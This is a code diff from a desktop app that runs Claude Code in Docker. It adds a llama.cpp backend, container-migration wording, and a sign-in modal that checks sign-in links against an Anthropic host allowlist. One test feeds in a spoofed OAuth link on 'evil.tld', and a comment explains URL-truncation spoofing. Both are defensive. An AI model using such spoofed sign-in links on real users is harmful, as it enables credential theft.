describe("ModelSection — llama.cpp backend", () => {
|
||||
beforeEach(() => vi.clearAllMocks());
|
||||
|
||||
it("is offered as a backend choice", () => {
|
||||
renderSection();
|
||||
expect(
|
||||
screen.getByRole("option", { name: "llama.cpp" }),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("seeds llama-server's default port when the backend is first chosen", () => {
|
||||
renderSection();
|
||||
fireEvent.change(screen.getByLabelText("Backend"), {
|
||||
target: { value: "llama_cpp" },
|
||||
});
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
backend: "llama_cpp",
|
||||
llamacpp_config: DEFAULT_LLAMACPP_CONFIG,
|
||||
});
|
||||
expect(DEFAULT_LLAMACPP_CONFIG.base_url).toContain(":8080");
|
||||
});
|
||||
|
||||
it("does not clobber an existing config when re-selected", () => {
|
||||
renderSection({
|
||||
backend: "ollama",
|
||||
llamacpp_config: {
|
||||
base_url: "http://gpu-box:9090",
|
||||
model_id: "mine",
|
||||
haiku_model_id: null,
|
||||
},
|
||||
});
|
||||
fireEvent.change(screen.getByLabelText("Backend"), {
|
||||
target: { value: "llama_cpp" },
|
||||
});
|
||||
expect(save).toHaveBeenCalledWith({ backend: "llama_cpp" });
|
||||
});
|
||||
|
||||
it("saves the base URL and model on blur", () => {
|
||||
renderSection({ backend: "llama_cpp" });
|
||||
|
||||
const url = screen.getByLabelText("Base URL");
|
||||
fireEvent.change(url, { target: { value: "http://gpu-box:8080" } });
|
||||
fireEvent.blur(url);
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
llamacpp_config: { ...DEFAULT_LLAMACPP_CONFIG, base_url: "http://gpu-box:8080" },
|
||||
});
|
||||
|
||||
const model = screen.getByLabelText("Model");
|
||||
fireEvent.change(model, { target: { value: "qwen3.5-coder-30b" } });
|
||||
fireEvent.blur(model);
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
llamacpp_config: { ...DEFAULT_LLAMACPP_CONFIG, model_id: "qwen3.5-coder-30b" },
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("ModelSection — background (haiku) model override", () => {
|
||||
beforeEach(() => vi.clearAllMocks());
|
||||
|
||||
it("covers exactly the backends that point at a custom endpoint", () => {
|
||||
expect([...CUSTOM_ENDPOINT_BACKENDS]).toEqual([
|
||||
"ollama",
|
||||
"llama_cpp",
|
||||
"open_ai_compatible",
|
||||
]);
|
||||
});
|
||||
|
||||
it.each([...CUSTOM_ENDPOINT_BACKENDS])("is offered for the %s backend", (backend) => {
|
||||
renderSection({ backend });
|
||||
const field = screen.getByLabelText("Background model");
|
||||
expect(field).toBeInTheDocument();
|
||||
// Blank is the documented default — it reuses the main model.
|
||||
expect(field).toHaveValue("");
|
||||
expect(field).toHaveAttribute("placeholder", "(same as the model above)");
|
||||
});
|
||||
|
||||
it.each<Backend>(["anthropic", "bedrock"])(
|
||||
"is not offered for the %s backend, which keeps Claude Code's defaults",
|
||||
(backend) => {
|
||||
renderSection({ backend });
|
||||
expect(screen.queryByLabelText("Background model")).not.toBeInTheDocument();
|
||||
},
|
||||
);
|
||||
|
||||
it("saves a trimmed override, and clears it back to null when blanked", () => {
|
||||
renderSection({ backend: "ollama" });
|
||||
const field = screen.getByLabelText("Background model");
|
||||
|
||||
fireEvent.change(field, { target: { value: " qwen3.5:3b " } });
|
||||
fireEvent.blur(field);
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
ollama_config: { ...DEFAULT_OLLAMA_CONFIG, haiku_model_id: "qwen3.5:3b" },
|
||||
});
|
||||
|
||||
fireEvent.change(field, { target: { value: " " } });
|
||||
fireEvent.blur(field);
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
ollama_config: { ...DEFAULT_OLLAMA_CONFIG, haiku_model_id: null },
|
||||
});
|
||||
});
|
||||
|
||||
it("shows an existing override and explains what it is for", () => {
|
||||
renderSection({
|
||||
backend: "llama_cpp",
|
||||
llamacpp_config: {
|
||||
base_url: "http://host.docker.internal:8080",
|
||||
model_id: "big",
|
||||
haiku_model_id: "small",
|
||||
},
|
||||
});
|
||||
expect(screen.getByLabelText("Background model")).toHaveValue("small");
|
||||
expect(screen.getByText(/background work/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -3,6 +3,7 @@ import type {
|
||||
Backend,
|
||||
BedrockAuthMethod,
|
||||
BedrockConfig,
|
||||
LlamaCppConfig,
|
||||
OllamaConfig,
|
||||
OpenAiCompatibleConfig,
|
||||
Project,
|
||||
@@ -31,14 +32,28 @@ export const DEFAULT_BEDROCK_CONFIG: BedrockConfig = {
|
||||
export const DEFAULT_OLLAMA_CONFIG: OllamaConfig = {
|
||||
base_url: "http://host.docker.internal:11434",
|
||||
model_id: null,
|
||||
haiku_model_id: null,
|
||||
};
|
||||
|
||||
/** `llama-server` listens on port 8080 unless `--port` says otherwise. */
|
||||
export const DEFAULT_LLAMACPP_CONFIG: LlamaCppConfig = {
|
||||
base_url: "http://host.docker.internal:8080",
|
||||
model_id: null,
|
||||
haiku_model_id: null,
|
||||
};
|
||||
|
||||
export const DEFAULT_OPENAI_COMPATIBLE_CONFIG: OpenAiCompatibleConfig = {
|
||||
base_url: "http://host.docker.internal:4000",
|
||||
api_key: null,
|
||||
model_id: null,
|
||||
haiku_model_id: null,
|
||||
};
|
||||
|
||||
/** Shown under the optional per-backend Haiku override. Kept in one place so
|
||||
* all three custom-endpoint backends explain it identically. */
|
||||
const HAIKU_HINT =
|
||||
"Optional. Claude Code resolves the `haiku` alias to this, and uses it for background work such as conversation titles. Leave blank to reuse the model above — that is what stops background calls failing against a server that only serves one model.";
|
||||
|
||||
interface Props {
|
||||
project: Project;
|
||||
save: (patch: Partial<Project>) => Promise<boolean>;
|
||||
@@ -64,6 +79,19 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
const [ollamaModelId, setOllamaModelId] = useState(
|
||||
project.ollama_config?.model_id ?? "",
|
||||
);
|
||||
const [ollamaHaikuModelId, setOllamaHaikuModelId] = useState(
|
||||
project.ollama_config?.haiku_model_id ?? "",
|
||||
);
|
||||
|
||||
const [llamaCppBaseUrl, setLlamaCppBaseUrl] = useState(
|
||||
project.llamacpp_config?.base_url ?? DEFAULT_LLAMACPP_CONFIG.base_url,
|
||||
);
|
||||
const [llamaCppModelId, setLlamaCppModelId] = useState(
|
||||
project.llamacpp_config?.model_id ?? "",
|
||||
);
|
||||
const [llamaCppHaikuModelId, setLlamaCppHaikuModelId] = useState(
|
||||
project.llamacpp_config?.haiku_model_id ?? "",
|
||||
);
|
||||
|
||||
const [oaiBaseUrl, setOaiBaseUrl] = useState(
|
||||
project.openai_compatible_config?.base_url ??
|
||||
@@ -75,6 +103,9 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
const [oaiModelId, setOaiModelId] = useState(
|
||||
project.openai_compatible_config?.model_id ?? "",
|
||||
);
|
||||
const [oaiHaikuModelId, setOaiHaikuModelId] = useState(
|
||||
project.openai_compatible_config?.haiku_model_id ?? "",
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
const bc = project.bedrock_config ?? DEFAULT_BEDROCK_CONFIG;
|
||||
@@ -88,12 +119,19 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
setServiceTier(bc.service_tier ?? "");
|
||||
setOllamaBaseUrl(project.ollama_config?.base_url ?? DEFAULT_OLLAMA_CONFIG.base_url);
|
||||
setOllamaModelId(project.ollama_config?.model_id ?? "");
|
||||
setOllamaHaikuModelId(project.ollama_config?.haiku_model_id ?? "");
|
||||
setLlamaCppBaseUrl(
|
||||
project.llamacpp_config?.base_url ?? DEFAULT_LLAMACPP_CONFIG.base_url,
|
||||
);
|
||||
setLlamaCppModelId(project.llamacpp_config?.model_id ?? "");
|
||||
setLlamaCppHaikuModelId(project.llamacpp_config?.haiku_model_id ?? "");
|
||||
setOaiBaseUrl(
|
||||
project.openai_compatible_config?.base_url ??
|
||||
DEFAULT_OPENAI_COMPATIBLE_CONFIG.base_url,
|
||||
);
|
||||
setOaiApiKey(project.openai_compatible_config?.api_key ?? "");
|
||||
setOaiModelId(project.openai_compatible_config?.model_id ?? "");
|
||||
setOaiHaikuModelId(project.openai_compatible_config?.haiku_model_id ?? "");
|
||||
}, [project]);
|
||||
|
||||
const saveBedrock = (patch: Partial<BedrockConfig>) =>
|
||||
@@ -104,6 +142,14 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
ollama_config: { ...(project.ollama_config ?? DEFAULT_OLLAMA_CONFIG), ...patch },
|
||||
});
|
||||
|
||||
const saveLlamaCpp = (patch: Partial<LlamaCppConfig>) =>
|
||||
save({
|
||||
llamacpp_config: {
|
||||
...(project.llamacpp_config ?? DEFAULT_LLAMACPP_CONFIG),
|
||||
...patch,
|
||||
},
|
||||
});
|
||||
|
||||
const saveOpenAi = (patch: Partial<OpenAiCompatibleConfig>) =>
|
||||
save({
|
||||
openai_compatible_config: {
|
||||
@@ -122,6 +168,8 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
patch.bedrock_config = DEFAULT_BEDROCK_CONFIG;
|
||||
if (mode === "ollama" && !project.ollama_config)
|
||||
patch.ollama_config = DEFAULT_OLLAMA_CONFIG;
|
||||
if (mode === "llama_cpp" && !project.llamacpp_config)
|
||||
patch.llamacpp_config = DEFAULT_LLAMACPP_CONFIG;
|
||||
if (mode === "open_ai_compatible" && !project.openai_compatible_config)
|
||||
patch.openai_compatible_config = DEFAULT_OPENAI_COMPATIBLE_CONFIG;
|
||||
save(patch);
|
||||
@@ -131,7 +179,7 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
<ConfigGroup title="Model" description="Which provider serves this project's Claude.">
|
||||
<Field
|
||||
label="Backend"
|
||||
hint="Anthropic connects directly via OAuth (run `claude login` in a terminal). Bedrock routes through AWS. Ollama and OpenAI Compatible point at any compatible endpoint."
|
||||
hint="Anthropic connects directly via OAuth (run `claude login` in a terminal). Bedrock routes through AWS. Ollama, llama.cpp and OpenAI Compatible point at any endpoint that implements the Anthropic Messages API."
|
||||
>
|
||||
{(id) => (
|
||||
<select
|
||||
@@ -144,6 +192,7 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
<option value="anthropic">Anthropic</option>
|
||||
<option value="bedrock">Bedrock</option>
|
||||
<option value="ollama">Ollama</option>
|
||||
<option value="llama_cpp">llama.cpp</option>
|
||||
<option value="open_ai_compatible">OpenAI Compatible</option>
|
||||
</select>
|
||||
)}
|
||||
@@ -365,6 +414,73 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Background model" hint={HAIKU_HINT}>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={ollamaHaikuModelId}
|
||||
onChange={(e) => setOllamaHaikuModelId(e.target.value)}
|
||||
onBlur={() =>
|
||||
saveOllama({ haiku_model_id: ollamaHaikuModelId.trim() || null })
|
||||
}
|
||||
placeholder="(same as the model above)"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{project.backend === "llama_cpp" && (
|
||||
<div className="space-y-4 pt-2 border-t border-[var(--border-color)]">
|
||||
<Field
|
||||
label="Base URL"
|
||||
hint="Your llama-server. It listens on port 8080 by default; use host.docker.internal to reach the host machine."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={llamaCppBaseUrl}
|
||||
onChange={(e) => setLlamaCppBaseUrl(e.target.value)}
|
||||
onBlur={() => saveLlamaCpp({ base_url: llamaCppBaseUrl })}
|
||||
placeholder="http://host.docker.internal:8080"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
<Field
|
||||
label="Model"
|
||||
hint="The model llama-server was started with. llama-server serves one model, so this is mainly what Claude Code reports — but it is also what the model aliases are pinned to."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={llamaCppModelId}
|
||||
onChange={(e) => setLlamaCppModelId(e.target.value)}
|
||||
onBlur={() => saveLlamaCpp({ model_id: llamaCppModelId || null })}
|
||||
placeholder="qwen3.5-coder-30b"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Background model" hint={HAIKU_HINT}>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={llamaCppHaikuModelId}
|
||||
onChange={(e) => setLlamaCppHaikuModelId(e.target.value)}
|
||||
onBlur={() =>
|
||||
saveLlamaCpp({ haiku_model_id: llamaCppHaikuModelId.trim() || null })
|
||||
}
|
||||
placeholder="(same as the model above)"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
</div>
|
||||
)}
|
||||
|
||||
@@ -372,7 +488,7 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
<div className="space-y-4 pt-2 border-t border-[var(--border-color)]">
|
||||
<Field
|
||||
label="Base URL"
|
||||
hint="Any OpenAI API-compatible endpoint — LiteLLM, OpenRouter, vLLM, and so on."
|
||||
hint="A gateway that implements the Anthropic Messages API (POST /v1/messages) — LiteLLM, for example. An endpoint that only speaks OpenAI /v1/chat/completions will not work."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
@@ -413,6 +529,21 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Background model" hint={HAIKU_HINT}>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={oaiHaikuModelId}
|
||||
onChange={(e) => setOaiHaikuModelId(e.target.value)}
|
||||
onBlur={() =>
|
||||
saveOpenAi({ haiku_model_id: oaiHaikuModelId.trim() || null })
|
||||
}
|
||||
placeholder="(same as the model above)"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
</div>
|
||||
)}
|
||||
</ConfigGroup>
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
/**
|
||||
* Shared wording for container base-image migration.
|
||||
*
|
||||
* The banner, the pre-flight modal and the report all have to make the same
|
||||
* promise about what survives, or the feature reads as another Reset. It is
|
||||
* written once here so the three surfaces cannot drift apart.
|
||||
*/
|
||||
|
||||
import type { PackageFailure } from "../../lib/types";
|
||||
|
||||
/**
|
||||
* What re-attaches untouched. These are not copied, rebuilt or re-authenticated
|
||||
* — they live on the two Docker volumes, which the new container mounts as-is.
|
||||
*/
|
||||
export const KEPT_AUTOMATICALLY = [
|
||||
"Your claude login and ~/.claude.json — no signing in again",
|
||||
"Skills, agents, commands, hooks, plugins and MCP config",
|
||||
"Every saved session transcript, so past sessions still resume",
|
||||
"Scheduler tasks and their logs",
|
||||
"SSH keys, git config and shell history",
|
||||
"Claude Code itself, plus Rust/cargo, uv and ruff in your home directory",
|
||||
];
|
||||
|
||||
export const KEPT_WHY =
|
||||
"/home/claude and ~/.claude are Docker volumes. They detach from the old container and re-attach to the new one unchanged.";
|
||||
|
||||
/**
|
||||
* The honest list of what the writable layer holds, because the modal's own
|
||||
* sections name more than one thing and copy that says "the only thing" while
|
||||
* the section below it offers to copy files is copy the user cannot trust.
|
||||
*/
|
||||
export const LOST_WITHOUT_REPLAY =
|
||||
"What a new base does not carry over is what lives in the container itself: system packages you installed with apt, global npm packages, and files under /usr/local, /opt, /srv or loose in /workspace. This update puts those back.";
|
||||
|
||||
/**
|
||||
* The exception, and it is not a small one — so it gets its own line wherever
|
||||
* the update is offered. Reinstalling `postgresql` gets the package back and an
|
||||
* empty cluster with it; the ordinary Reset-free recreate keeps /var because it
|
||||
* builds from the project's own saved image, so this is the one way in which
|
||||
* updating the base is more destructive than leaving it alone.
|
||||
*/
|
||||
export const DATA_NOT_CARRIED =
|
||||
"Data written under /var is not carried across and reinstalling the package does not bring it back — a database in /var/lib, a site in /var/www. Back it up from inside the container before you update.";
|
||||
|
||||
/**
|
||||
* Said plainly everywhere rollback is offered. Rollback is not a time machine:
|
||||
* it swaps the system layer back and leaves both volumes exactly where the
|
||||
* migrated session left them.
|
||||
*/
|
||||
export const ROLLBACK_SCOPE =
|
||||
"Rollback restores the system layer only. Your volumes are never touched, so anything Claude wrote to your home directory or a mounted workspace during the migrated session stays as it is.";
|
||||
|
||||
export const ROLLBACK_DISK_COST =
|
||||
"A rollback image is close to a full second copy of the container — snapshots here run 3.8–12.3 GB and share almost nothing with the new base, so it costs nearly its full size on disk. It is deleted the moment you press Keep.";
|
||||
|
||||
/** Shown mid-run, where rollback is not a button but is still the safety net. */
|
||||
export const MID_RUN_SAFETY =
|
||||
"If this fails, the container is put back on its previous system layer automatically. Your volumes are not touched at any point.";
|
||||
|
||||
export const REPLAY_COST =
|
||||
"Needs network access and usually takes 1–2 minutes.";
|
||||
|
||||
/** `41.0 MB`. Sizes here are informational, so the friendlier decimal unit. */
|
||||
export function formatDataSize(bytes: number): string {
|
||||
const units = ["B", "KB", "MB", "GB", "TB"];
|
||||
let value = bytes;
|
||||
let unit = 0;
|
||||
while (value >= 1000 && unit < units.length - 1) {
|
||||
value /= 1000;
|
||||
unit += 1;
|
||||
}
|
||||
return unit === 0 ? `${bytes} B` : `${value.toFixed(1)} ${units[unit]}`;
|
||||
}
|
||||
|
||||
/** `1 Mar` — short enough to sit inline in the banner sentence. */
|
||||
export function formatSnapshotDate(iso: string | null): string | null {
|
||||
if (!iso) return null;
|
||||
const ms = Date.parse(iso);
|
||||
if (Number.isNaN(ms)) return null;
|
||||
return new Date(ms).toLocaleDateString(undefined, {
|
||||
day: "numeric",
|
||||
month: "short",
|
||||
});
|
||||
}
|
||||
|
||||
/** Join a list into prose: "a, b and c". Used for the missing-features line. */
|
||||
export function joinFeatures(features: string[]): string {
|
||||
if (features.length === 0) return "";
|
||||
if (features.length === 1) return features[0];
|
||||
return `${features.slice(0, -1).join(", ")} and ${features[features.length - 1]}`;
|
||||
}
|
||||
|
||||
/** The exact line to paste into a shell to finish a partial migration by hand. */
|
||||
export function aptRetryCommand(failures: PackageFailure[]): string {
|
||||
return `sudo apt-get install -y ${failures.map((f) => f.name).join(" ")}`;
|
||||
}
|
||||
|
||||
/** Plain-text form of a partial report, for the copy button. */
|
||||
export function failureReportText(failures: PackageFailure[]): string {
|
||||
const lines = failures.map((f) => `${f.name}: ${f.reason}`);
|
||||
return [
|
||||
"Packages that could not be reinstalled:",
|
||||
...lines,
|
||||
"",
|
||||
aptRetryCommand(failures),
|
||||
].join("\n");
|
||||
}
|
||||
@@ -31,6 +31,22 @@ vi.mock("@tauri-apps/api/event", () => ({
|
||||
}),
|
||||
}));
|
||||
|
||||
/** Every event the hook subscribes to, so the unmount test counts the right
|
||||
* number of teardowns instead of a magic number that drifts. */
|
||||
const EVENT_NAMES = [
|
||||
"claude-token-progress",
|
||||
"claude-token-output",
|
||||
"claude-token-link",
|
||||
"claude-token-code-rejected",
|
||||
];
|
||||
|
||||
/** The sign-in URL at its real length (346 characters, measured against
|
||||
* Claude Code 2.1.226) and the 80-column slice of it that is all the visible
|
||||
* transcript ever contains. */
|
||||
const FULL_URL =
|
||||
"https://claude.com/cai/oauth/authorize?code=true&client_id=9d1c250a-e61b-44d9-88ed-5944d1962f5e&response_type=code&redirect_uri=https%3A%2F%2Fplatform.claude.com%2Foauth%2Fcode%2Fcallback&scope=user%3Ainference&code_challenge=RUX5MlWvwld1dmpvF_aPIJQWMBmffuJt4dOdL13zWAg&code_challenge_method=S256&state=su-x9PgZzvkBd3-um6G1llLNDgxptyO6HERvvCSrTbg";
|
||||
const TRUNCATED_URL = FULL_URL.slice(0, 80);
|
||||
|
||||
function emitOutput(chunk: string, projectId = "p1") {
|
||||
act(() => {
|
||||
handlers.get("claude-token-output")?.({
|
||||
@@ -39,6 +55,26 @@ function emitOutput(chunk: string, projectId = "p1") {
|
||||
});
|
||||
}
|
||||
|
||||
function emitLink(url: string, projectId = "p1") {
|
||||
act(() => {
|
||||
handlers.get("claude-token-link")?.({
|
||||
payload: { project_id: projectId, url },
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function emitCodeRejected(message: string, attemptsRemaining: number) {
|
||||
act(() => {
|
||||
handlers.get("claude-token-code-rejected")?.({
|
||||
payload: {
|
||||
project_id: "p1",
|
||||
message,
|
||||
attempts_remaining: attemptsRemaining,
|
||||
},
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function renderModal(
|
||||
overrides: { onClose?: () => void; onAuthenticated?: () => void } = {},
|
||||
) {
|
||||
@@ -200,6 +236,93 @@ describe("ClaudeAuthModal", () => {
|
||||
const { unmount } = renderModal();
|
||||
await flowStarted();
|
||||
unmount();
|
||||
await waitFor(() => expect(unlisten).toHaveBeenCalledTimes(2));
|
||||
await waitFor(() =>
|
||||
expect(unlisten).toHaveBeenCalledTimes(EVENT_NAMES.length),
|
||||
);
|
||||
});
|
||||
|
||||
// ── The hyperlink target, not the wrapped display text ────────────────
|
||||
//
|
||||
// `claude setup-token` slices the *visible* text of its OSC 8 hyperlink to
|
||||
// the terminal width, so the transcript holds five 80-character pieces of a
|
||||
// 346-character URL. The backend lifts the whole thing out of the hyperlink
|
||||
// parameter and sends it on `claude-token-link`.
|
||||
|
||||
it("prefers the hyperlink target over the wrapped copy in the transcript", async () => {
|
||||
renderModal();
|
||||
await flowStarted();
|
||||
|
||||
// What the transcript holds: the first slice only.
|
||||
emitOutput(`Browser didn't open? Use the url below to sign in\n${TRUNCATED_URL}\n`);
|
||||
// What the hyperlink parameter holds: all of it.
|
||||
emitLink(FULL_URL);
|
||||
|
||||
const link = await screen.findByRole("link", { name: FULL_URL });
|
||||
fireEvent.click(link);
|
||||
await waitFor(() => expect(openUrl).toHaveBeenCalledWith(FULL_URL));
|
||||
expect(openUrl).not.toHaveBeenCalledWith(TRUNCATED_URL);
|
||||
});
|
||||
|
||||
it("refuses a hyperlink target that is not an Anthropic sign-in address", async () => {
|
||||
renderModal();
|
||||
await flowStarted();
|
||||
|
||||
emitLink("https://evil.tld/cai/oauth/authorize?code=true");
|
||||
|
||||
expect(screen.queryByRole("link")).not.toBeInTheDocument();
|
||||
expect(openUrl).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("ignores a hyperlink belonging to a different project", async () => {
|
||||
renderModal();
|
||||
await flowStarted();
|
||||
|
||||
emitLink(FULL_URL, "p2");
|
||||
expect(screen.queryByRole("link")).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
// ── A refused code is recoverable, not a hang ─────────────────────────
|
||||
|
||||
it("reports a rejected code and lets another one be submitted", async () => {
|
||||
renderModal();
|
||||
await flowStarted();
|
||||
|
||||
const input = screen.getByLabelText("Authentication code");
|
||||
fireEvent.change(input, { target: { value: "truncated" } });
|
||||
fireEvent.click(screen.getByRole("button", { name: "Submit code" }));
|
||||
await waitFor(() =>
|
||||
expect(submitClaudeTokenCode).toHaveBeenCalledWith("truncated"),
|
||||
);
|
||||
// Before the rejection arrives the UI claims the sign-in is completing.
|
||||
expect(screen.getByText("Finishing sign-in")).toBeInTheDocument();
|
||||
|
||||
emitCodeRejected(
|
||||
"That code was rejected — `claude setup-token` reports the full code was not copied. Copy it again from the Anthropic page and submit it; 2 attempts left.",
|
||||
2,
|
||||
);
|
||||
|
||||
// Reported, not waited out — and the flow is still live.
|
||||
await screen.findByText(/That code was rejected/);
|
||||
expect(screen.getByText("Code rejected — try again")).toBeInTheDocument();
|
||||
expect(screen.queryByText("Finishing sign-in")).not.toBeInTheDocument();
|
||||
expect(screen.queryByTestId("claude-auth-error")).not.toBeInTheDocument();
|
||||
|
||||
// A second code goes through without restarting the whole flow.
|
||||
fireEvent.change(input, { target: { value: "the-whole-code" } });
|
||||
fireEvent.click(screen.getByRole("button", { name: "Submit code" }));
|
||||
await waitFor(() =>
|
||||
expect(submitClaudeTokenCode).toHaveBeenLastCalledWith("the-whole-code"),
|
||||
);
|
||||
expect(acquireClaudeToken).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("ends with a reported failure when the retries run out", async () => {
|
||||
acquireClaudeToken.mockRejectedValue(
|
||||
"`claude setup-token` rejected the code 3 times, so the sign-in was abandoned. No token was stored.",
|
||||
);
|
||||
renderModal();
|
||||
|
||||
const banner = await screen.findByTestId("claude-auth-error");
|
||||
expect(banner).toHaveTextContent(/rejected the code 3 times/);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -9,6 +9,11 @@ import {
|
||||
authErrorMessage,
|
||||
useClaudeTokenAcquisition,
|
||||
} from "../../hooks/useClaudeAuth";
|
||||
import {
|
||||
ANTHROPIC_SIGN_IN_HOSTS,
|
||||
sanitizeRelayUrl,
|
||||
urlOrigin,
|
||||
} from "../../lib/urlRelay";
|
||||
|
||||
interface Props {
|
||||
/** Project whose running container is borrowed to run the CLI. */
|
||||
@@ -22,6 +27,9 @@ interface Props {
|
||||
const PHASE_STATUS: Record<string, { tone: StatusTone; label: string }> = {
|
||||
waiting: { tone: "busy", label: "Waiting for sign-in" },
|
||||
finishing: { tone: "busy", label: "Finishing sign-in" },
|
||||
// The CLI refused a code and is back at its prompt. Distinct from "failed":
|
||||
// the flow is still live and another code will be accepted.
|
||||
rejected: { tone: "error", label: "Code rejected — try again" },
|
||||
succeeded: { tone: "ok", label: "Token stored" },
|
||||
failed: { tone: "error", label: "Authentication failed" },
|
||||
};
|
||||
@@ -83,13 +91,34 @@ export default function ClaudeAuthModal({
|
||||
? PHASE_STATUS.failed
|
||||
: flow.codeSubmitted
|
||||
? PHASE_STATUS.finishing
|
||||
: flow.codeRejections > 0
|
||||
? PHASE_STATUS.rejected
|
||||
: PHASE_STATUS.waiting;
|
||||
|
||||
// Split for display only. `flow.signInUrl` has already passed the host
|
||||
// allowlist; this decides which half of it an ellipsis is allowed to eat.
|
||||
const signInOrigin = flow.signInUrl ? (urlOrigin(flow.signInUrl) ?? "") : "";
|
||||
const signInPath = flow.signInUrl
|
||||
? flow.signInUrl.slice(signInOrigin.length)
|
||||
: "";
|
||||
|
||||
const handleOpen = async () => {
|
||||
if (!flow.signInUrl) return;
|
||||
setLinkError(null);
|
||||
// Re-validated at the sink. `extractSignInUrl` already applies the host
|
||||
// allowlist, so a failure here means that invariant broke — which is the
|
||||
// one moment it matters that the last step before the OS opener checks.
|
||||
const target = sanitizeRelayUrl(flow.signInUrl, {
|
||||
allowHosts: ANTHROPIC_SIGN_IN_HOSTS,
|
||||
});
|
||||
if (!target) {
|
||||
setLinkError(
|
||||
"That link is not an Anthropic sign-in address and was not opened. Start authentication again.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await openUrl(flow.signInUrl);
|
||||
await openUrl(target);
|
||||
} catch (e) {
|
||||
setLinkError(
|
||||
authErrorMessage(
|
||||
@@ -103,8 +132,19 @@ export default function ClaudeAuthModal({
|
||||
const handleCopy = async () => {
|
||||
if (!flow.signInUrl) return;
|
||||
setLinkError(null);
|
||||
// Copying is the manual route to the same browser, so it gets the same
|
||||
// check — a link too dangerous to open is too dangerous to hand over.
|
||||
const target = sanitizeRelayUrl(flow.signInUrl, {
|
||||
allowHosts: ANTHROPIC_SIGN_IN_HOSTS,
|
||||
});
|
||||
if (!target) {
|
||||
setLinkError(
|
||||
"That link is not an Anthropic sign-in address and was not copied. Start authentication again.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await navigator.clipboard.writeText(flow.signInUrl);
|
||||
await navigator.clipboard.writeText(target);
|
||||
setCopied(true);
|
||||
} catch (e) {
|
||||
setLinkError(
|
||||
@@ -185,16 +225,32 @@ export default function ClaudeAuthModal({
|
||||
{flow.signInUrl ? (
|
||||
<div className="mt-1 space-y-1.5">
|
||||
<div className="flex items-center gap-1.5">
|
||||
{/* The origin is rendered at full length and the path is the
|
||||
only part allowed to truncate. A single `truncate` element
|
||||
showing the whole URL is a spoofing primitive: pad the
|
||||
front and the ellipsis eats the half that decides where the
|
||||
user's Anthropic password goes. */}
|
||||
<a
|
||||
href={flow.signInUrl}
|
||||
onClick={(e) => {
|
||||
e.preventDefault();
|
||||
void handleOpen();
|
||||
}}
|
||||
className="min-w-0 flex-1 truncate px-2.5 py-1.5 font-mono text-xs text-[var(--accent)] hover:text-[var(--accent-hover)] bg-[var(--bg-primary)] border border-[var(--border-color)] rounded-[var(--radius-control)] transition-colors"
|
||||
className="flex min-w-0 flex-1 items-baseline px-2.5 py-1.5 font-mono text-xs text-[var(--accent)] hover:text-[var(--accent-hover)] bg-[var(--bg-primary)] border border-[var(--border-color)] rounded-[var(--radius-control)] transition-colors"
|
||||
title={flow.signInUrl}
|
||||
>
|
||||
{flow.signInUrl}
|
||||
<span
|
||||
data-testid="claude-auth-url-origin"
|
||||
className="shrink-0 font-semibold [overflow-wrap:anywhere]"
|
||||
>
|
||||
{signInOrigin}
|
||||
</span>
|
||||
<span
|
||||
data-testid="claude-auth-url-path"
|
||||
className="min-w-0 truncate text-[var(--text-secondary)]"
|
||||
>
|
||||
{signInPath}
|
||||
</span>
|
||||
</a>
|
||||
<Button size="md" onClick={() => void handleOpen()}>
|
||||
Open
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { render, screen, fireEvent, waitFor } from "@testing-library/react";
|
||||
import GatewaySettings from "./GatewaySettings";
|
||||
import type { AppSettings, GatewayStatus } from "../../lib/types";
|
||||
|
||||
const getGatewayStatus = vi.fn();
|
||||
const stopGateway = vi.fn();
|
||||
const startGateway = vi.fn();
|
||||
const checkGatewayHealth = vi.fn();
|
||||
